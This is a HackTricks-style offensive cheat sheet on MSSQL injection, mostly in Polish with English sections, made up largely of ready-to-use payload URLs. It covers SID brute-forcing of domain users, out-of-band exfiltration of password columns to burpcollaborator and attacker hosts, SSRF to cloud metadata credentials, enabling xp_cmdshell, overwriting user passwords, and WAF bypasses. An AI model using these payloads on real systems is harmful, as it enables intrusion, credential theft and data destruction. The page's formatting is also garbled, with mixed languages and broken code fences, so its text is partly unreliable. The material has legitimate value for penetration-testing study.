MSSQL Injection

Support HackTricks

Enumeracja Active Directory

Możliwe jest enumerowanie użytkowników domeny za pomocą SQL injection wewnątrz serwera MSSQL przy użyciu następujących funkcji MSSQL:

  • SELECT DEFAULT_DOMAIN(): Pobierz nazwę bieżącej domeny.

  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): Jeśli znasz nazwę domeny (DOMAIN w tym przykładzie), ta funkcja zwróci SID użytkownika Administratora w formacie szesnastkowym. Będzie to wyglądać jak 0x01050000000[...]0000f401, zwróć uwagę, że ostatnie 4 bajty to liczba 500 w formacie big endian, co jest wspólnym ID użytkownika administratora. Ta funkcja pozwoli Ci poznać ID domeny (wszystkie bajty oprócz ostatnich 4).

  • SUSER_SNAME(0x01050000000[...]0000e803) : Ta funkcja zwróci nazwę użytkownika wskazanego ID (jeśli istnieje), w tym przypadku 0000e803 w big endian == 1000 (zwykle jest to ID pierwszego utworzonego regularnego użytkownika). Możesz sobie wyobrazić, że możesz przeprowadzić brute-force ID użytkowników od 1000 do 2000 i prawdopodobnie uzyskać wszystkie nazwy użytkowników domeny. Na przykład używając funkcji takiej jak poniższa:

def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Alternatywne wektory oparte na błędach

Błędy oparte na SQL injection zazwyczaj przypominają konstrukcje takie jak +AND+1=@@version-- oraz warianty oparte na operatorze «OR». Zapytania zawierające takie wyrażenia są zazwyczaj blokowane przez WAF. Jako obejście, połącz ciąg za pomocą znaku %2b z wynikiem określonych wywołań funkcji, które wywołują błąd konwersji typu danych na poszukiwanych danych.

Niektóre przykłady takich funkcji:

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

Przykład użycia funkcji USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

Te sztuczki SSRF zostały wzięte stąd

fn_xe_file_target_read_file

Wymaga uprawnienia VIEW SERVER STATE na serwerze.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

Wymaga uprawnienia CONTROL SERVER.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

Wymaga uprawnienia CONTROL SERVER.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

Procedury składowane, takie jak xp_dirtree, choć nieudokumentowane oficjalnie przez Microsoft, zostały opisane przez innych w Internecie z powodu ich użyteczności w operacjach sieciowych w MSSQL. Procedury te są często wykorzystywane w exfiltracji danych Out of Band, co zostało pokazane w różnych przykładach i postach.

Procedura składowana xp_dirtree, na przykład, jest używana do wykonywania żądań sieciowych, ale jest ograniczona tylko do portu TCP 445. Numer portu nie jest modyfikowalny, ale pozwala na odczyt z udziałów sieciowych. Użycie jest pokazane w poniższym skrypcie SQL:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

Warto zauważyć, że ta metoda może nie działać na wszystkich konfiguracjach systemu, takich jak Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) działający na Windows Server 2016 Datacenter z ustawieniami domyślnymi.

Dodatkowo istnieją alternatywne procedury składowane, takie jak master..xp_fileexist i xp_subdirs, które mogą osiągnąć podobne wyniki. Dalsze szczegóły dotyczące xp_fileexist można znaleźć w tym artykule TechNet.

xp_cmdshell

Oczywiście można również użyć xp_cmdshell do wykonania czegoś, co wywołuje SSRF. Aby uzyskać więcej informacji, przeczytaj odpowiednią sekcję na stronie:

1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL User Defined Function - SQLHttp

Tworzenie CLR UDF (Common Language Runtime User Defined Function), czyli kodu napisanego w dowolnym języku .NET i skompilowanego do DLL, który ma być załadowany w MSSQL w celu wykonywania niestandardowych funkcji, to proces, który wymaga dostępu dbo. Oznacza to, że zazwyczaj jest to wykonalne tylko wtedy, gdy połączenie z bazą danych jest nawiązywane jako sa lub z rolą Administratora.

Projekt Visual Studio oraz instrukcje instalacji są dostępne w tym repozytorium Github, aby ułatwić załadowanie binarnego pliku do MSSQL jako zestawu CLR, co umożliwia wykonywanie żądań HTTP GET z poziomu MSSQL.

Rdzeń tej funkcjonalności jest zawarty w pliku http.cs, który wykorzystuje klasę WebClient do wykonania żądania GET i pobrania treści, jak pokazano poniżej:

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

Przed wykonaniem polecenia SQL CREATE ASSEMBLY, zaleca się uruchomienie następującego fragmentu SQL, aby dodać hash SHA512 zestawu do listy zaufanych zestawów serwera (widocznej za pomocą select * from sys.trusted_assemblies;):

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Po pomyślnym dodaniu zestawu i utworzeniu funkcji, poniższy kod SQL może być wykorzystany do wykonywania żądań HTTP:

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Szybka Eksploatacja: Pobieranie Całej Zawartości Tabeli w Jednym Zapytaniu

Trick from here.

Krótką metodą na wyodrębnienie pełnej zawartości tabeli w jednym zapytaniu jest wykorzystanie klauzuli FOR JSON. To podejście jest bardziej zwięzłe niż użycie klauzuli FOR XML, która wymaga określonego trybu, takiego jak "raw". Klauzula FOR JSON jest preferowana ze względu na swoją zwięzłość.

Oto jak pobrać schemat, tabele i kolumny z bieżącej bazy danych:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
```markdown
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

### Retrieving the Current Query

[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).

For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

```sql
```markdown
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

To check if you have the VIEW SERVER STATE permission, the following query can be used:

```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Little tricks for WAF bypasses

Tricks also from here

Non-standard whitespace characters: %C2%85 или %C2%A0:

```markdown
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

Scientific (0e) and hex (0x) notation for obfuscating UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--


A period instead of a whitespace between FROM and a column name:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--


\N separator between SELECT and a throwaway column:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

use [tempdb]  
create table [test] ([id] int)  
insert [test] values(1)  
select [id] from [test]  
drop table[test]

Can be reduced to:

use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

# Dodanie bezużytecznego exec() na końcu i sprawienie, by WAF myślał, że to nie jest ważne zapytanie
admina'union select 1,'admin','testtest123'exec('select 1')--
## To będzie:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# Używanie dziwnie zbudowanych zapytań
admin'exec('update[users]set[password]=''a''')--
## To będzie:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# Lub włączenie xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## To będzie
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

References

Support HackTricks

Last updated